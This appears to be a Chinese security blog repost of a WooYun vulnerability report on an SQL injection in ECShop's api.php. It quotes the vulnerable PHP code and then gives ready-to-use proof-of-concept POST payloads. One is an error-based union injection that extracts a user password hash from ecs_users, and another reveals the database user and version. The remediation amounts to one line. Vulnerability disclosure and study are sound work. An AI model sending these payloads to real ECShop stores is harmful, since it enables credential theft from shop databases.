记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

ECSHOP最新版SQL注入漏洞

2014-06-09 21:25

注:需要网店店主权限

#1 漏洞代码

这个漏洞比较简单,也许是开发人员疏忽了吧...

if (is_numeric($_POST['last_modify_st_time']) && is_numeric($_POST['last_modify_en_time']))

{

$sql = 'SELECT COUNT(*) AS count' .

' FROM ' . $GLOBALS['ecs']->table('goods') .

" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)";

$date_count = $GLOBALS['db']->getRow($sql);



if (empty($date_count))

{

api_err('0x003', 'no data to back'); //无符合条件数据

}



$page = empty($_POST['pages']) ? 1 : $_POST['pages']; //确定读取哪些记录

$counts = empty($_POST['counts']) ? 100 : $_POST['counts']; //我肋个去,这里居然没过滤...



$sql = 'SELECT goods_id, last_update AS last_modify' .

' FROM ' . $GLOBALS['ecs']->table('goods') .

" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".

" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...

//exit($sql);

$date_arr = $GLOBALS['db']->getAll($sql);//OH! My god,居然就这样直接查询了...



在这段代码中,POST过来的counts参数

$counts = empty($_POST['counts']) ? 100 : $_POST['counts'];



可以看出来,这里没有经过任何的过滤,接着往下看

$sql = 'SELECT goods_id, last_update AS last_modify' .

' FROM ' . $GLOBALS['ecs']->table('goods') .

" WHERE is_delete = 0 AND is_on_sale = 1 AND (last_update > '" . $_POST['last_modify_st_time'] . "' OR last_update = 0)".

" LIMIT ".($page - 1) * $counts . ', ' . $counts;//我肋个天,居然就这样带入了sql语句...



看见了没有,我肋个天,居然就这样带入了sql语句...

后面直接执行了...

$date_arr = $GLOBALS['db']->getAll($sql);



#2 漏洞利用

这个漏洞比较简单,下面给出漏洞利用POC

Step1 访问:http://www.secmap.cn/ecshop/api.php

同时POST提交

ac=true&act=search_goods_list&last_modify_st_time=111&last_modify_en_time=1&api_version=1.0&pages=1&counts=1 union select count(*)  from (select 1 union select null union select !1)x group by  concat((select password from ecs_users limit 1),floor(rand(0)*2)) -- s



结果报错了,如图:

1.jpg

漏洞证明:

#3 漏洞证明

counts=1 union select user(),version()#23



2.jpg

修复方案:

过滤,同时请注意细节问题,希望以后别再出这样低级的错误,谢谢。

知识来源: www.wooyun.org/bugs/wooyun-2014-053611

阅读:438424 | 评论:0 | 标签:注入 漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“ECSHOP最新版SQL注入漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于累土;黑客之术,始于阅读

推广

工具

标签云